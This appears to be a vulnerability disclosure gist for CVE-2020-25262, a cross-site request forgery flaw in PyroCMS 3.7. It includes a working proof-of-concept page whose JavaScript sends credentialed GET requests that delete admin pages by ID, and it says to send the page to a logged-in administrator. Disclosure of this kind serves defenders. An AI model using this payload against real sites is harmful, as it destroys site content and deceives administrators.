farid007 / CSRF in PyroCMS

Last active 2 years ago

CSRF in PyroCMS Which leads to deletion of pages (CVE-2020-25262)

CSRF in PyroCMS

```
Product-: PyroCMS

CVE: CVE-2020-25262

Version: (,3.7) 3.7 Tested

Vulnerability-: Deletion of pages via Cross-Site Request Forgery(CSRF).

Download-: https://github.com/pyrocms/pyrocms

Vulnerability Description-: The PyroCMS is vulnerable to cross-site request forgery (CSRF). Due to action is performed via GET request. An


Steps To Reproduce-:

Create a page with below content.

<!DOCTYPE>
<html>
<head>
    <title></title>
    <script type="text/javascript">
                        // to delete pages.
                        // it's in your hand to delete number of pages.
        var url = "http://test.com/admin/pages/delete/"
        for (var i = 1; i <= 13 ; i++) {
            var url1 = url+i;
            xhr = new XMLHttpRequest();
            xhr.open("GET",url1);
            xhr.withCredentials = true;
            xhr.send(null);
        }
    </script>
</head>
<body>
<--html content here--!>
</body>
</html>

* Send to the victim (who is authenticated on PyroCMS as administrator) and once the victim clicks on the link, pages will be deleted.
```